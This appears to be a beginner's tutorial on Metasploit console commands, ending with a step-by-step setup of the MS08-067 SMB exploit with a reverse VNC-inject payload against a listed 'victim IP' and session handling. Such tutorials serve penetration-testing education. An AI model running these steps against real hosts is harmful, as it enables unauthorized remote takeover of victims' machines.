Metasploit Basic Command

So on your terminal type msfconsole to start metasploit console.


root@bt:~# msfconsole
Metasploit is also available on GUI (graphical user interface), if you want to run metasploit GUI than on the terminal type.


root@bt:~# msfgui


Help command of metasploit will give you the basic idea about the usage of metasploit, if you are looking for msfconsole help than from the root windows type

root@bt:~# msfconsole -h


For msfconsole usage you need to be on msfconsole window to get the help.

msf > help

Connect command is nothing but the alternate of telnet and ncat in metasploit, use connect command to connect with the remote and local host on metasploit you can define the IP of the host machine.



msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
-s → SSL



Ping command of msfconsole is to check the alive host and so on.

msf > ping 192.168.1.45

Show exploits is a command to check all the available exploits on metasploit

msf > show exploits

Show payloads just like show exploits, show payloads will show you all the available payloads on metasploit.

msf > show payloads


Info command will give you more information about any exploits and payloads.

Msf>info <exploit>
msf>info <payload>


Use command will give metasploit an instruction to use a exploit or payload.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > show options To show available options
msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 → To set remote IP (victim IP)
msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 → To set local IP (attacker IP)
msf exploit(ms08_067_netapi) > set rport 445 → To set port number of remote host
msf exploit(ms08_067_netapi) > set lport 443 → To set port number of local host
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns → Tp set payload

msf exploit(ms08_067_netapi) > unset rhost → To remove rhost
msf exploit(ms08_067_netapi) > unset lhost → To remove local host
msf exploit(ms08_067_netapi) > exploit → To execute exploit
msf exploit(ms08_067_netapi) > back → To go back on the main window
msf exploit(ms08_067_netapi) > sessions -l → To check any active session
msf exploit(ms08_067_netapi) > sessions -i ID → To go on a active session ID must be numeric number